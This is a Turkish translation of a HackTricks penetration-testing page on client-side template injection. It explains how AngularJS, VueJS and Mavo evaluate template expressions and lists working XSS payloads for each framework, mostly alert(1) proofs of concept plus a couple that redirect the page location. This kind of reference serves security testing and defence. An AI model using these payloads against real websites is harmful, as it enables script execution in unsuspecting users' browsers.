6.9 KiB
AWS hackleme becerilerinizi sıfırdan kahraman seviyesine çıkarın htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile öğrenin!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github reposuna PR göndererek paylaşın.
Özet
Bu, sunucu tarafı şablon enjeksiyonu (SSTI) gibi, ancak istemci tarafında gerçekleşir. SSTI, uzaktaki sunucuda kod yürütmenizi sağlayabilirken, CSTI, kurban üzerinde keyfi JavaScript kodu yürütmenizi sağlayabilir.
Bu zafiyeti test etmek için yol, SSTI durumunda olduğu gibi çok benzerdir, yorumlayıcı, çift anahtarlar arasında yürütülecek bir şey bekleyecek ve onu yürütecektir. Örneğin, {{ 7-7 }}
gibi bir şey kullanarak: sunucu savunmasız ise 0
göreceksiniz ve değilse orijinali göreceksiniz: {{ 7-7 }}
AngularJS
AngularJS, HTML ile etkileşime geçen yaygın olarak kullanılan bir JavaScript çerçevesidir ve ng-app
olarak bilinen direktifler aracılığıyla HTML içeriğini işler. Bu direktif, AngularJS'in HTML içeriğini işlemesine olanak tanır ve çift süslü parantezler içinde JavaScript ifadelerinin yürütülmesini sağlar.
Kullanıcı girişinin dinamik olarak ng-app
ile etiketlenmiş HTML gövdesine eklenmesi durumunda, keyfi JavaScript kodu yürütülebilir. Bunun, giriş içinde AngularJS sözdiziminden yararlanarak başarılabileceği bir örnektir. Aşağıda, JavaScript kodunun nasıl yürütülebileceğini gösteren örnekler bulunmaktadır:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
AngularJS'deki bu zafiyetin çok basit bir çevrimiçi örneğini http://jsfiddle.net/2zs2yv7o/ ve Burp Suite Academy adreslerinde bulabilirsiniz.
{% hint style="danger" %}
Angular 1.6 sandbox'ı kaldırdı bu yüzden bu sürümden itibaren {{constructor.constructor('alert(1)')()}}
veya <input ng-focus=$event.view.alert('XSS')>
gibi bir payload çalışmalıdır.
{% endhint %}
VueJS
Zafiyetli bir vue.js uygulamasını https://vue-client-side-template-injection-example.azu.now.sh/ adresinde bulabilirsiniz.
Çalışan payload: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
Ve zafiyetli örneğin kaynak kodu burada: https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
VUE'da CSTI hakkında gerçekten iyi bir yazı https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets adresinde bulunabilir.
V3
{{_openBlock.constructor('alert(1)')()}}
Kredi: Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Kredi: Mario Heiderich
Daha fazla VUE payload'una https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected adresinden bakabilirsiniz
Mavo
Payload:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
Daha fazla payload için https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
Brute-Force Algılama Listesi
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
AWS hacklemeyi sıfırdan kahraman olacak şekilde öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek isterseniz ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'ı takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.